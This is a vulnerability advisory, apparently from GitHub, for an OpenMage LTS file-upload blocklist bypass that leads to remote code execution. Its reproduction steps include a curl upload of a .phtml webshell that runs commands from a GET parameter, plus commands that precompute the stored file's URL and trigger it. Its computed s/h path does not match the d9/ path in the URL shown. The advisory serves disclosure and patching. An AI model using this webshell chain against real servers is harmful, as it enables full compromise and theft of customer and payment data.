CVE-2026-40488: OpenMage LTS has Customer File Upload Extension Blocklist Bypass that Leads to Remote Code Execution

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbiddenextensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/customoptions/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

Affected Version

- Project: OpenMage/magento-lts - Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php - Vulnerable Lines: 230-237 (validateUploadedFile()) - Configuration: app/code/core/Mage/Catalog/etc/config.xml:824

Root Cause

The file upload handler uses ZendFileTransferAdapterHttp directly with ExcludeExtension validator, referencing only:

xml <!-- Catalog/etc/config.xml:824 --> <forbiddenextensions>php,exe</forbiddenextensions>

This misses the comprehensive protectedextensions blocklist defined elsewhere:

xml <!-- Core/etc/config.xml:449-478 --> php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, htm, html, pht, phtml, shtml

Vulnerable Code

php // app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237 $allowed = $this->parseExtensionsString($option->getFileExtension()); if ($allowed !== null) { $upload->addValidator('Extension', false, $allowed); } else { $forbidden = $this->parseExtensionsString($this->getConfigData('forbiddenextensions')); if ($forbidden !== null) { $upload->addValidator('ExcludeExtension', false, $forbidden); // Only blocks php,exe! } }

Steps to Reproduce

1. Environment Setup

Target: OpenMage LTS with Apache+modphp or Apache+PHP-FPM (with .phtml handler)

2. Exploitation

bash Upload .phtml (bypasses blocklist) curl -X POST "https://target.com/vulnerableupload.php" \ -F "file=@shell.phtml;filename=shell.phtml"

Result: <img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" />

3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:

Subdirectory — getDispretionPath($filename) takes the first two characters of the uploaded filename and uses them as nested directory names:

filename = "shell.phtml" → s/ h/ → media/customoptions/quote/s/h/

Filename — md5(filegetcontents($tmpname)) is computed over the raw bytes of the uploaded payload (File.php:245):

php // app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245 $fileHash = md5(filegetcontents($fileInfo['tmpname'])); $filePath = $dispersion . DS . $fileHash . '.' . $extension;

Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:

bash SHELLCONTENT='<?php echo exec("id"); system($GET["cmd"]??"id"); ?>\n' HASH=$(echo -n "$SHELLCONTENT" | md5sum | cut -d' ' -f1) PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

bash curl "https://target.com/media/customoptions/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"

Result: RCE Confirmed

<img width="1559" height="827" alt="image" src="https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260" />

Affected Deployments

| Configuration | Status | |---------------|--------| | Apache + modphp (with phpflag engine 0) | SAFE | | Apache + PHP-FPM | VULNERABLE | | Nginx (reference hardened config) | SAFE | | Nginx (generic config with .phtml→FPM) | VULNERABLE |

Impact

1. Remote Code Execution: Full server compromise through webshell upload 2. Data Exfiltration: Access to database credentials, customer PII, payment data 3. Lateral Movement: Pivot to internal infrastructure 4. Supply Chain: Inject malicious code into served content

— GitHub